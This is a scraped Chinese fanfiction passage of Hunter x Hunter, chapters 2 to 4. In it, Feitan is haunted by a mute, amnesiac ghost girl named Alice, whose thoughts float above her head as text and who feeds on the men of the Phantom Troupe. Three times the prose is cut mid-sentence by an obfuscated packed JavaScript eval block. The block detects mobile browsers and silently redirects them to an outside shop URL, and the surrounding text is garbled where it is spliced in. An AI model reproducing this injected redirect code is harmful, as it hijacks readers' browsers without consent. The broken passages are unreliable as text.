《[猎人]见鬼了吧!飞坦》 2. 第 2 章 借着窗外投进来的浅淡月光,飞坦仔细打量着这个鬼影子。 她整体呈半透明状态,笼罩一层丧气的阴影,依稀可见生前的模样。 十六七岁,浅栗色长发柔软地卷曲,碧色双眼,挺翘而小巧的鼻梁,嘴巴也小小的,眉梢和眼角微微下垂。 很漂亮。 十分柔软的长相,看着就没脾气那种。 不知道是不是飞坦的错觉。 总感觉她眼睛的颜色比一睁眼看到的时候黯淡不少。 刚刚她靠的很近,入目是一双明亮好看的碧色眸子。 这会儿却仿佛蒙着一层阴翳,呈浅绿色。 “你到底,是什么东西?” 飞坦开口问道。 听到他的声音,艾莉丝恍然,知道他是刚刚那个被叫做飞坦的男人了,是那位刑讯人员。 因为芬克斯的声音是标准大叔音,更粗犷一些。 飞坦的声音则偏轻偏细,是语调很低的正太音。 艾莉丝轻轻摇头,嘴巴开合,没有发出声音。 头顶蹦出了几个字: [抱歉,我也不知道……] 沉默片刻。 飞坦:“你是哪儿来的?” 他扯出一抹冷笑:“找我报仇?” 艾莉亚嘴巴再次开合,依旧没有发出声音。 她神色微怔,抬手摸了摸喉咙,这才发现自己原来是说不出话的,随即又摇了摇头。 同时头顶蹦字: [报仇?不……我不知道……] 飞坦:“那就滚,离开这里。” 艾莉丝神色忧郁: [我也想,可走不了呢] 飞坦嗓音低哑不悦:“装傻?” 艾莉丝一脸茫然。 这次却连文字都没有了,头顶缓缓蹦出三个标点: [???] 飞坦握着剑的手紧了紧,身上登时流泻出强横念力。 艾莉丝惊慌,后退一小步。 [怎么办,他不信我。] [可是我说不出话,也真的什么都不记得。] [要怎么跟他解释呢?] 飞坦看着她头顶上冒出的一行行文字,眉毛慢慢蹙起来。 一开始他以为对方是用这种特殊方式与人交流。 可现在看来又不像。 她这个,更像是内心独白。 飞坦神色惊疑:“你到底是人还是鬼?” 艾莉丝一怔。 两秒后—— [(@˙ー˙@)] [抱歉,我也不知道啊] 艾莉丝是真的什么都不知道。 不知道自己是谁,不知道自己是什么。 可听到飞坦这样问—— 她说不出话。 她可以飘起来。 她会觉得活人身上的味道很好闻。 从醒来到现在都没有撞到过什么东西,哪怕眼睛看不见,飞坦的剑砍在身上也是没有任何感觉地穿过去了。 艾莉丝转头看向衣柜的镜子。 双眼慢慢睁大。 镜子里的女生很眼熟。 容貌眼熟,衣着眼熟,好像在什么地方见过。 却没有实体,只是一个虚影。 在这样昏暗的夜色下,难为了飞坦竟然可以看到她。 她黯淡的,明明只是一个很浅很浅的影子而已啊! 飞坦透过她半透明的身体,看到她神色震惊慌乱。 很显然,这鬼影子也是迷茫的一塌糊涂。 半晌,就见她一脸崩溃地回过头,看起来像要哭了,头顶: [o(╥﹏╥)o] [对不起,这位帅哥] [我好像,真的是鬼耶。] 飞坦:“……” ok。 流年不利。 真他妈是,见了鬼了。 . 飞坦跟艾莉丝,一人一鬼安静地对视,就这么大眼瞪小眼。 两分钟后,飞坦意识到自己无法对对方造成任何伤害,对方也显然没有来伤害他的胆子和能力……他起身穿上外套,套上鞋子,去茶几那边,给自己倒了杯水。 咕咚咕咚喝完之后,又重新倒了一杯放到面前,摸到遥控器,按开电视,随便找了一个深夜还在播放的节目。 他目光一抬,觉得压惊压的差不多了。 半晌,做出了一个合理的猜测:“你是我杀的。” 艾莉丝全程跟着他。 飞坦穿衣服她礼貌偏头,飞坦喝水她盯着看,飞坦坐在沙发上,她没胆子坐他旁边,就蹲在他脚边。 听到问话后,她摇头。 [不知道哎] 飞坦声音冷静无比:“今天死的?诺斯拉家族的人?” 艾莉丝摇头。 [不知道哎] 又是一阵难言的沉默,飞坦垂眸看她:“你要杀我报仇?” 艾莉丝被这句话吓到了,赶紧用力摇头。 [不不不不不] [做什么动不动就要喊打喊杀……] “……” 无视她内心OS,飞坦问道:“你到底有什么企图?” 艾莉丝依旧还是摇头。 眼巴巴地仰脸望着他,无辜的要命。 “……” 飞坦服了。 他本身就不是什么好脾气的人,见什么都问不出来,倏然起身朝她走去。 艾莉丝赶紧后退,尽量离他很远。 飞坦沉着脸,步步紧逼。 她退到墙边,他便在她咫尺的距离停了下来。 飞坦目光阴冷,艾莉丝不敢看他,便捂着脸,头顶疯狂冒字: [啊!他要干什么?!] [是要杀我吗?] [可是,可是我已经是鬼了呀,鬼怎么能被再一次杀掉?] [对啊!我已经是鬼了!完全没有必要怕他!] [可是不行啊,我好害怕啊。] [老天爷帮帮我吧!] [救我一下球球了……] “……” 飞坦被这一长串弹幕吵到眼睛了。 怎么会有人……有鬼内心独白这么多!? 而且不知道是不是被吓坏了,她身形变得透明不少,碧绿色的眼睛完完全全变成了灰色。 沉默片刻,飞坦抬手去抓她肩膀。 果然—— 手从她身上直接穿过,没有任何摸到东西的感觉。 哦,倒也不是什么感觉都没有。 如果硬要说,手感凉凉的,像摸到了刚打开冷库时的那一抹寒气。 艾莉丝感觉到有人在摸自己,她将捂着眼睛的手微微移开一些,就见他骨节分明的手在她身体里捞来捞去。 [他在摸我吗?] [好没礼貌啊。] [我好歹也是个,女孩子啊。] 飞坦:“……” 你变成鬼跟着我难道就很有礼貌了?? 而且是从什么时候开始跟在身边的都不知道! 压了压火气,飞坦眸色阴沉地收回了手。 见他拿自己没办法,艾莉丝的心思便活络起来,一串串的心声往出冒: [哎,怎么办啊。] [他真凶。] [摸不到我,就不会把我怎么样了吧?] [不过,他好帅] [是我的菜] [如果真的怎么样,希望是那个怎么样……] [o(*////▽////*)q] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244893|197850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞坦:“。” 是哪个怎么样? 你敢不敢说清楚! 飞坦身上的念再次迸发开来,强横的气萦绕全身。 艾莉丝虽然是鬼魂状态,却也能感受到他的情绪忽然不好了。 她赶紧把脸重新捂起来,害怕的发抖。 “我不管你是从哪儿来的,是谁,或者跟我有什么仇恨。” 飞坦冷声道:“给你最后一个机会,离开我,否则别怪我不客气。” 艾莉丝颤抖着点头,紧接着又摇头。 她想告诉飞坦,她不是不走,是走不了。 可是她说不了话。 不会说话就算了,她也不会手语。 就算会手语。 也不敢保证飞坦能不能看得懂。 真糟糕啊。 到底该怎么办? 想了想,艾莉丝试着比划。 她指了指自己,食指和中指交替弯曲模拟走路,又指了指飞坦,接着摇摇手。 意思是:我,距离,你,不能太远。 飞坦沉默地看完。 理解了:我,跟着,你,拿我没办法。 飞坦:“……” 握剑的手紧了紧。 艾莉丝见对方好像没理解,又指了指飞坦,指了指自己,两手相扣比了个圆。 意思是:你,拴着我,只能走这么远。 飞坦理解:你,我,比心。 比心? 比心是什么鬼? 又调戏他??? 硬了硬了。 拳头硬了。 飞坦握剑的手紧了又紧,杀气更盛。 艾莉丝一脸茫然地挠头。 [怎么,没理解?] [这也理解不了吗?] 她比比划划,想要表达她不是不走,而是走不了,可是越比划,男人表情就越阴沉,最后阴沉到简直快要滴水的样子。 艾莉丝毫不怀疑,如果她现在是个活人,对方一定会狠狠把她杀死。 “轰隆——” 一声巨响。 终于,飞坦忍不住抬剑刺了出去。 剑身从艾莉丝胸前穿过,深深钉在墙上。 墙身被轰出了蛛网般的裂痕。 艾莉丝倏然停止所有动作,被吓得像个愣住的土拨鼠。 两只手还保持着一个滑稽的姿势停在身前。 约莫十几秒,头顶疯狂蹦字: [干什么呀 我不是不走是走不了呀 我根本没办法离开他两米范围如果能走的话我会不走吗难道我愿意留在这里吗] [他在生气吗一定是生气了可恶走不了就是走不了生气也走不了呀 呜呜呜呜呜呜] “?” 飞坦眯着眼把这一长串连标点符号都没有的文字看完,又结合她之前的瞎几把比划…… 他一噎,接着皱眉。 原来是这个意思。 竟然是这个意思?? 见艾莉丝掩面一副快哭了的样子,飞坦简直无语的厉害。 [我都比划的辣~么清楚了] [真有那么难懂吗?呜呜呜呜呜呜] [好崩溃!] 飞坦:“……” 到底是谁比较崩溃?! 而且她什么毛病,只要是在比划,想法就蹦不出来。 脑子简单到只能够做一件事情的程度吗? 最后,手指隔空点了点她,飞坦警告道: “从现在开始,不许瞎比划,不许做奇怪的动作,离我远点,问你什么,只需要点头摇头,明白?” “……” 艾莉丝乖巧而憋屈地点了点头。 接着头顶: [事儿精。] 飞坦:“……!” 3. 第 3 章 飞坦难以形容此刻的心情。 如果对方是个活人,他真想把她凌迟一遍。 可惜她不是。 深呼吸几下,他冷静下来,重新回到沙发上。 一抬眼,那鬼影果然如她心中os,被迫跟了过来。 跟过来又不敢靠近,在他冷酷的眼神中,委委屈屈地捂着嘴,蹲在角落,把自己缩成可怜的、小小的一只。 “……” 飞坦嫌糟心地移开视线,思考了一下现在的情况。 可以肯定的是: 第一、这是个鬼。 还是个年纪不大,心理活动丰富,擅长卖萌却没有什么脾气的包子鬼。 被用刀砍也只会嘤嘤嘤。 心里在骂,表面还是乖乖怂怂。 骂的最狠不过说他很凶是个事儿精,连个妈都没带非常难得。 第二、她只能在他两米范围内活动。 飞坦目测二人之间的距离。 嗯,确实是两米。 没有说谎,还算老实。 第三、这只包子鬼无法发声,无法被触摸,无法被物理伤害,什么都不记得。 这个状态简直无法选中,让人拿她一点办法都没有。 第四、她的心声会以文字弹幕的形式出现在头顶,活泼的时候甚至还会有颜文字出现,她自己却不知道。 这很好。 她不能骗他。 飞坦是变化系,虽然经常骗人,却痛恨被人欺骗。 那么问题来了。 她为什么出现在身边? 又为什么无法离开? 答案简直昭然若揭。 飞坦在脑子里飞快地将杀过的人过了一遍。 可惜,他这几天杀人太多,没有一百也有几十,而且他杀人从不看脸,完全不记得里面有这么个人。 . 片刻后,飞坦再次站起来,走到小鬼影面前。 艾莉丝瑟缩了一下,可怜巴巴地仰头望他,生怕他再给自己来几剑。 虽然不痛,但真的好可怕。 好在这次飞坦没有发脾气,只是垂眸问道:“你叫什么名字?” 艾莉丝神色茫然,像是想说什么,愣了愣之后懊恼地摇摇头。 她说不了话。 不要问这种问题呀! 虽然可以从她头顶看到答案,但飞坦暂时不想暴露可以看到她心声的事情。 思索片刻,他转身走进浴室,打开喷淋放热水。 很快浴室里升腾起一片氤氲。 艾莉丝正好奇飞坦要干什么,就见他敲了敲满是水汽的镜子,道: “写一下试试。” 艾莉丝一怔,试探着用指尖点过去。 镜面上真的出现了一个圆圆的点点。 [竟然可以这样?] [他好聪明啊!] 艾莉丝神色一喜,立刻扭头去看飞坦,却在对上他冷漠的眼神后收敛了喜色。 她讪讪在镜子上写下自己的名字:艾莉丝 这是她唯一记得的事情了。 看着镜面上的名字,以及她头顶的夸奖。 飞坦满意地呼出一口气。 很好,总算有一个她能答上来的问题了。 而且有名字就好办的多。 别管是死人还是活人,有名字就能查到来历。 于是都没有等到第二天一早,飞坦即刻动身去敲隔壁。 门开后,侠客睡意朦胧: “是你啊飞坦,怎么了?” 飞坦偏头看了眼从身后好奇探出一个小脑袋的女鬼,又观察了一下侠客没有任何变化的表情。 第五、这只鬼别人看不到,只有他可以看到。 “飞坦?” 见他不说话,侠客疑惑问道。 飞坦将一本漫画丢过去,言简意赅道:“查。” “查什么?” 拿起那本漫画,看到封皮上龙飞凤舞的一个名字‘艾莉丝’,侠客品了品飞坦难看的脸色,反身回去坐到电脑跟前,按了开机键,问:“这个人有什么问题吗?” 飞坦烦躁地‘啧’了一声,道:“查就是了。” 侠客失笑道:“到底怎么了,难得见你这么急,总得告诉我什么情况啊。” 什么情况? 飞坦冷笑一声道:“我见鬼了。” 侠客:“?” 好吧,不想说就不说,阴阳怪气干什么。 他一边进入猎人网站,一边道:“最起码也要提供一些基础信息给我,年龄、外貌、地址,否则同名的人一定很多,你看——” 侠客侧身把电脑屏幕让出来:“叫艾莉丝的人足有35149个,你什么也不说,让我怎么查。” 艾莉丝原本缩在飞坦身后,闻言好奇地往前凑了凑。 凑完发现看不清,就又往前凑凑,最后索性偷偷绕到飞坦前面,蹲在侠客旁边,扒着桌子边沿仰头去看电脑屏幕。 [哇哦,都不知道世界上有这么多跟我同名的] [好神奇哦] 飞坦从她因为发量超多而显得毛茸茸的脑袋上收回视线,道: “女,身高158左右,年龄15-18岁之间,棕色卷发,碧绿色眼睛。” “住址的话,先从本市开始查,如果没有就往周边扩散——优先查我们最近几天接触过的黑.手.党。” 侠客问:“诺斯拉家族吗?” 飞坦道:“对。” 他补充了一句:“只查死人。” 这侠客倒是没想到,惊讶道:“死人?” 飞坦确认道:“死人,并且要新死的。” 同事很聪明,怕他猜到什么,飞坦没再细化下去,只说到这里就让他赶紧查。 侠客心道你是真见鬼了还是怎么? 查死人干嘛啊。 可见飞坦一副不愿意多聊的样子,他就也没再多问,应了声“好”之后便噼里啪啦地打起电脑。 飞坦问:“需要多久?” “说不好,查人不是件着急的事,要从数据库中一条条筛选,尤其还是死人——” 侠客估摸着:“最快也得明天。” 飞坦有点嫌慢。 却还是妥协道:“好的,尽快吧,谢了。” 艾莉丝也在旁边跟着点头。 [要快快快快快!] 飞坦:“……” 这种鬼缠身的感觉实在太奇怪了,他一分钟都不想过。 . 回到房间,飞坦用冷水洗了把脸,脱掉外套和鞋子之后重新躺在床上。 他们最近在谋划洗劫诺斯拉家族的个人藏馆,任务不难,只是遇到了一个收纳型的念能力者稍微费了点劲儿,好在已经问出了藏品的位置,等明天团长过来之后就可以直接收尾。 现在才凌晨2点,还能再睡一会儿。 房间里非常安静,外面偶尔路过车辆响起轮胎摩擦地面的声音。 飞坦闭上眼睛,努力酝酿睡意。 两分钟后,他忍无可忍,对飘在床边的小女鬼说:“你就不能滚到一边去吗?盯着我干什么!” 艾莉丝:“……” 她也没办法啊,要让她滚去哪里呢? 不敢离得太近——飞坦身上的味道太太太太太好闻了,离近了就很想吸一口。 又不能离开他两米范围。 除了安安静静飘在旁边,她又能怎么办呢? 飞坦咬牙切齿。 任谁被床边的女鬼一眨不眨地盯着看,都不可能睡得着吧! 他再次抽出伞剑,威胁道: “你到底滚不滚?滚到我看不见的地方去!” 艾莉丝大惊失色。 虽然不会被伤害,但被砍来砍去还是很吓人的! 她委屈巴巴地点点头。 [滚。] 飞坦盯着她头顶的字。 拿不准她是说她可以滚,还是在骂他滚。 正琢磨着该拿这么个鬼东西怎么办,就见这小女鬼慢吞吞地抬头环视,仿佛在寻找“他看不见”的地方。 几秒后,也不知道怎么想的,一弯腰,‘嗖’地钻进了床底下。 飞坦:“……” 犹豫片刻,他趴在床边,低头往下看。 小女鬼可怜巴巴地趴在床底下满是灰尘的地板上,浑身散发着哀怨的气息,见他看过来,还礼貌地挥了挥手。 [嗨。] 飞坦直起身,快突发心梗了。 这比站在床头,恐怖十倍不止! . 飞坦不怕鬼。 他不敬神明,也不怕鬼怪。 尤其这只又怂又弱,毫无伤害性——没什么大不了的。 他深呼吸,告诉自己不要跟一个没用的鬼东西计较。 而且也确实是滚到他看不到的地方去了不是吗? 很乖了。 做完心理建设,飞坦躺回去,闭上眼睛,重新酝酿睡意。 可也不知道是电影看多了还是怎么的。 他只感觉后背冰凉,脑子里闪现各种恐怖片里面女鬼从床底下伸出一只血淋淋的鬼手,抓住床上人的脚踝什么的,因此脚丫子都缩在被子里没有支出去…… 两分钟后,飞坦再次愤怒起身。 乖个屁! 脑子有病吗钻到床底下? 床下趴只鬼。 让人怎么睡?! 他喝道:“出来!” 床下没有动静。 飞坦指节敲敲床板:“说你呢,给我出来!” 艾莉丝这才从床下慢吞吞飘出来。 她看起来比之前更透明了,透明到快要看不见的程度,一脸的狼狈无措,仿佛不知道自己做错了什么却又很内疚的样子。 飞坦:“……” 小女鬼虽然阴暗又哀怨,却完全没有恐怖片里面血淋淋的模样,不厉也不凶。 对他毫无恶意不说,也没有仗着他拿她没办法而故意纠缠。 念及此处,飞坦尽量平缓了语调道: “我已经让人去查你的身世了。” 艾莉丝点点头,表示知道。 飞坦道:“如果真的是我杀了你,我会送你火化,好好安葬你。” 他顿了顿,道:“即使不是我杀的,我也会处理好你的身后事。” 男人语气比刚刚好了不少,甚至有几份安抚的味道。 艾莉丝心安不少。 [谢谢,他真是个好人。] “……” 飞坦先礼后兵道:“所以不要打扰我,不然我明天就找人驱鬼让你灰飞湮灭,永世不得超生。” 艾莉丝刚安的心又破碎了。 [这人也就好了两秒。] 飞坦:“……” 他不想跟她废话了,道:“你在屋子里会影响我,滚去窗外飘着。” 床就在窗户旁边,两米的距离刚好够她凌空飘在窗外。 艾莉丝是个很好说话的鬼姑娘。 面对这种无理要求,她甚至都没怎么犹豫就听话地穿过窗户飘了出去。 寒冬腊月,天气很冷。 艾莉丝哪怕是只鬼也抵不住冷风一吹来就抱着自己抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244894|197850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了抖的本能。 透明的小女鬼,就这么孤零零地飘在窗外,望着又圆又大的月亮,神色忧伤、若有所思,一偏头对上飞坦的视线,还冲他抿唇笑了笑。 她容貌柔软好看,笑起来很乖。 虽然是只鬼,但真的有够听话了。 飞坦隔着玻璃看她,心情复杂到难以言喻。 一想到这倒霉鬼很可能是被他不经意间杀掉才招惹来的,他竟然有那么0.001秒的理亏,接着便狠着心“唰”地把窗帘拉上,眼不见为净。 重新躺下闭上眼睛。 这次舒服多了。 虽然窗户外面飘着只鬼并不是什么让人放心的事情,尤其是半夜一睁眼看到准会吓一跳。 但是—— 比起床边站鬼和床下有鬼,果然还是让她去外面飘着吧! 至于良心。 飞坦没有那种东西。 . 翌日,飞坦是被铃声叫醒的。 他从床上坐起来,垂着头,满身低气压。 事实上,他这一宿几乎没怎么睡。 虽然把小女鬼赶了出去,但他睡眠本就不好,期间两次抬手拨开窗帘,能看到小女鬼抱着手臂哆哆嗦嗦,一副很可怜的模样飘在冬夜的冷风中。 就,根本没办法无视。 尤其不知道是不是被她影响,屋里温度似乎比平时低一些,也就仗着他念能力属性偏燥,换成普通人,肯定会被冷的打颤。 手机铃声响个没完,飞坦拿来一看是侠客。 “喂?”他接起电话,嗓音很哑:“怎么样了?” 侠客道:“还在查。” 飞坦蹙眉:“那你打电话干什么?” 侠客笑道:“睡蒙了吗?团长来了啊,楼下集合,就差你了。” 飞坦挂掉电话看了眼时间,这才发现已经凌晨六点了。 他翻身下地穿鞋。 随着他的动作,艾莉丝原本在窗外搭着边儿坐在窗沿上,就这么被他扯了进来,一骨碌掉进被子里。 [啊啊啊!好温暖!!] 她头顶倏然蹦出几行字。 [外面太冷了,一点也不好!] [还是被窝里最舒服啦!] 飞坦一边穿外套,一边侧目睨她。 只见她比昨晚更透明了,虚虚晃晃的,像要消散了似得。 而且可真行。 一只鬼,竟然喜欢温暖的地方? 艾莉丝在外面蹲了一宿,又冷又硬,体验极差,这会儿在床上滚了两遭,她只感觉好舒服,好想睡一觉。 只可惜还没等她躺够,飞坦已经穿戴整齐,拿起床边的伞抬步离开。 艾莉丝被扯离温暖的被窝,恋恋不舍地回头望,泪汪汪,超可怜。 [不……再让我躺会儿……] 飞坦看到就当没看到,只管无视她,快步下了楼。 . 这是一栋年头久远的老楼,上下两层,房主不知所踪。 虽然墙皮脱落,地板也塌的不成样子,破的简直像个鬼屋,但好在有水有电,地方宽敞。 旅团寻找临时据点的时候瞄上这里,已经停留了不少时日。 本次任务是侠客组织的,他对诺斯拉家族的一个藏品很感兴趣。 ‘死神的扑克牌’ ——死亡三个月内,可以对其遗体使用此牌复活,用后即毁(不限种族)。 很实用的珍宝,如同复活币,尤其对于死亡率超高的幻影旅团来说。 如果能拿到手,起码可以保证下一个成员不会真的死亡。 两周前的地下拍卖会上,诺斯拉家族拍走了这张牌。 侠客一听到这个消息,便叫上同样很闲的芬克斯和飞坦前往A市,准备洗劫诺斯拉。 库洛洛原本带着派克诺坦、玛奇、信长和富兰克林在外面做任务,听侠客说完之后很感兴趣,便紧随其后而来。 飞坦下楼的时候,一行人已经全部到齐。 “飞坦,你太慢啦!” 见他晃下楼,侠客招手笑道:“任务马上结束了,要积极一点呀!” 飞坦积极不起来。 身后的小女鬼不知道抽什么疯,刚下来就往他身后一缩。 他只感觉脊背冰凉,好像有谁在他背后吹冷风,实质性的体验了一把背上有鬼的感觉。 以免被当成精神病,飞坦没有骂人,只警告性地回头一瞥。 艾莉丝憋憋屈屈地捂住嘴巴,稍微离他远了些。 没办法。 冷不丁见到这么多活人,她有点害怕。 倒不是怕生还是怎么。 主要是物种不同。 她是鬼,这些是人。 还都是阳气旺盛的男人!大活人! 昨晚吸了飞坦的一口阳气,让她恢复了视力,可是后面行动这么久得不到补充,此刻她难以抑制的感觉到饿,视线都开始模糊了。 [好香!] [好香好香好香好香好香好香好香好香好香!] [好想吃……] [(*﹃*)] “……” 飞坦原本都要收回视线了,冷不丁看到她头顶的弹幕一怔。 什么香? 想吃什么? 正猜测着,就见她直勾勾地盯着他的男同事们,擦了擦嘴角并不存在的液体,喉咙可疑地动了动。 联想到昨晚一睁眼,她贴脸吸他的情景。 又想到她愈发透明的身形。 飞坦气笑了。 有意思。 这怂包难不成还是个艳鬼? 4. 第 4 章 艾莉丝不是艳鬼。 她对这些男人没兴趣,真的只是好饿,单纯的饿,饿到眼冒金星。 此刻面前这么多活人,散发着美妙的味道,虽然都不及飞坦香,却也十分美味诱人。 假如说飞坦是行走的奥尔良鸡腿。 那这些人也堪称火山肠。 虽然味道差一些,但是都很香! 都能喂饱她! 饿到极致的时候白面馒头都能炫两个,更何况是火山肠了~ 怎么办,好想吃吃吃吃! 她努力收回视线,渴望而讨好地望向飞坦: [(*﹃*)] [快过去!快过去!] 沉默片刻,飞坦走向长桌,在最末尾的位置坐了下来——离其他人恨不得八百米远。 艾莉丝努力去够离她最近的芬克斯和信长,却只差十几公分。 [o(TヘTo)] [可恶啊,够不着!] 飞坦忍不住笑出声。 艾莉丝听到他的笑回头怒目而视。 讨厌鬼! 你不让吃,还不让我吃别人! 其实飞坦隐约有所猜测。 这只小鬼昨天晚上贴脸吸他的时候,绿色眸子漂亮好看,身体也没那么透明。 后来受到惊吓就透明一点。 被他攻击会透明一点。 白天比晚上透明一点。 艾莉丝现在已经很透明了,状态也没有昨晚理智,看上去只剩下食欲,或许就是能量快耗光的表现。 也就是说,作为一只鬼,她很可能是要靠吸人阳气为生的。 她目光只盯着这些男成员,对派克和玛琦视若无睹,恐怕也是因为男人的阳气更盛。 这样想着,飞坦稍微往左侧挪了一些,刚好让她够着芬克斯。 果然—— 那小女鬼眼睛一亮,如同饿了八百年一样埋到芬克斯肩膀上,深深吸了一口之后身形立刻充实起来。 “啧……” 芬克斯搓了搓手臂。 “怎么了?”侠客问。 “有风,门没关?” 芬克斯说着回头看了眼,却见门关的严严实实,窗户也都关着。 真奇怪啊。 哪儿吹来的凉风,冷的都透骨了。 侠客道:“估计是墙漏洞了吧,这破房子简直四处透风。” 见状,飞坦又挪回了原来的位置。 他这么一挪,芬克斯倒是不冷了,艾莉丝却由于够不着,模样十分哀怨。 [啊别别别……] 飞坦稍稍往左,她眼睛一亮: [(/≧▽≦)/~] 可是很快就挪回去,她: [(x ` []′)/] 艾莉丝如同被一根无形的绳索拴住,急的抓心挠肝。 飞坦目露玩味,食指轻点着桌面,有种栓了只猫的错觉。 “飞坦,你呢?” 库洛洛忽然点了他的名。 飞坦一怔:“什么?” 他在那左左右右地晃,库洛洛就坐他正对面,已经瞧他半天了。 见状笑笑道:“走神了吗?” 光顾着溜鬼的飞坦:“……” 库洛洛好奇道:“在玩什么?很有趣的样子。” 飞坦:“……” 说来你可能不信,我在玩个鬼。 看出飞坦不在状态,侠客道: “团长是问你要不要一起去临城,诺斯拉家族的任务快结束了,临城要举行一个慈善晚会,会有各个家族捐赠的珍宝,或许还会有很多现金,值得光顾哦。” 飞坦下意识答道:“去。” 可说完又迟疑地皱了下眉。 幻影旅团是盗贼团伙,东抢西抢是常规模式,飞坦作为老成员,还是个积极分子,从来不会落下任何一场行动,只要叫他他就去。 可是现在—— 飞坦目光落到那只恼火的小女鬼身上。 有这东西跟着,怎么去啊? 虽然看着挺乖的,但关键时刻捣乱怎么办。 “任务时间是什么时候?”他问。 侠客失笑道:“你是真的一点也没听啊?” “……” 飞坦理不直气也壮:“少废话。” “好吧好吧——” 侠客脾气很好,面对同事的无理取闹也不生气,耐心地解释着:“1月6号,不过咱们要早点去,有些前期准备工作要做,最好3号之前就到。” 现在是12月21日,算起来只有十天左右。 飞坦琢磨着十天的时间,怎么也够解决这件事了,于是将任务应下来。 . 接下来,旅团成员聊了聊人员布置。 由于慈善晚会规模很大,安保工作必然很好,大家决定把富兰克林和库哔也召唤过来。 聊完这些正准备散场,顶灯忽然闪了闪。 老房子本来就因为破旧显得阴森,这家是猎户出身,墙上挂了些兽皮兽首,随着顶灯闪烁更是可怖。 再加上不知从哪儿刮来一阵阴风。 这次不止芬克斯,连其他人都感觉到冷了。 “怎么了,闹鬼了吗?” 信长下意识摸上刀鞘。 “别瞎说,世上哪有鬼啊。” 芬克斯跟飞坦一样,都是坚定的无神论者。 侠客:“应该是外面风雪太大,电压不稳,我去看看。” 他说着起身朝门房走去。 恰在此时,顶灯闪烁几下,彻底灭了。 这会儿天还没亮,外面又是遮天蔽日的风雪,整个客厅陷入黑暗中,长桌两侧的人全都屏住呼吸不动,保持十足的警惕。 他们看不到,只有飞坦看得清楚。 这是因为……艾莉丝饿的彻底失去理智了。 被飞坦接连戏耍,她够不着芬克斯,换了个方向去够信长又无果。 众所周知,不管什么生物,如果一直饿着也就算了,但凡吃了口东西有点力气,却又被人把食物抢走,肯定就会护食到发飙。 艾莉丝现在就是这种状态。 她饿的两眼发蓝,透着渴望,喉咙不停吞咽,返身回来围着飞坦四处乱飘,看上去竟然像有点想硬上。 飞坦蹙着眉,锋利的指甲包裹着“气”。 但凡她敢冲上来—— 艾莉丝确实很饿很饿。 她紧紧盯着这个人类,饿的想一口把他吃掉,可残留的道德底线却让她没有这样做。 十秒后。 她一咬牙,‘嗖’地钻到桌子底下。 又过几秒,灯亮了。 室内温度渐渐上升,一切恢复如常。 “好了吗——?” 门房里侠客喊了一声。 “好了!”芬克斯答。 “线路没问题。”侠客回来之后道:“肯定是电压的毛病,大家忍一忍吧,雪停就可以走了。” 派克诺坦道:“反正也出不了门,去看看战利品如何?” 侠客道:“好啊,正好让团长把那人的念能力偷一下。” 偷了他的能力,就能把藏品拿出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244895|197850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来瞧瞧,顺便庆祝一下。 大家一拍即合,纷纷起身上楼。 . “飞坦,你不去吗?” 见飞坦坐在原地不动,侠客道:“去看看那个复活卡牌呀,开开眼界。” 飞坦:“你们去吧,我还有事。” 侠客心道你能有什么事啊?审讯俘虏这种事情你不是最积极的吗。 可是一想到飞坦从昨晚就开始不对劲儿,心情很糟糕不说,还频频走神,目光乱飘…… 算了,可能是最近压力太大。 随他去吧。 众人走后,飞坦站起来走到旁边,蹲下来往桌子底下瞧。 只见那小女鬼抱着腿,脑袋埋在胳膊上,把自己缩成一团,身周笼罩着黑雾,丧的不能再丧了。 “喂。” 飞坦叫她。 艾莉丝摇了摇头,浅栗色长卷发跟着摇,看上去毛茸茸的,不肯抬头看他。 飞坦说:“出来。” 艾莉丝不肯动。 飞坦直起身后退几步,把她从桌子下面硬拖了出来。 可是当他往前走的时候,艾莉丝就又飘回桌下,坚持要跟他保持距离。 飞坦气笑了。 “什么意思?”他道:“还闹上脾气了?” 艾莉丝不想理他。 这人太讨厌了,总是威胁她不说,还限制她,逗她着玩儿,快把她气死了! 再加上她现在状态不稳,抬头看他的话,很容易忍不住去咬他。 见她不答,飞坦又后退把她拖出来,命令道:“不许动。” 可当他往前走的时候,艾莉丝再一次飘了回去。 飞坦:“……” 啧。 另一边。 侠客都跟着上了楼,才发现有东西落下,他只好下楼回去取。 刚走下楼梯,就见义正言辞说有事的人,对着空空如也的桌子念念叨叨不知道说些什么,接着就往后退,退完又往前走,走完又往后退,退完又往前走。 跟跳舞似的。 侠客愣愣地站在楼梯口,大脑宕机反应不过来。 飞坦这是……干什么呢? 疯了吗? 侠客揉揉眼睛,仔细去看桌子,确定空无一人。 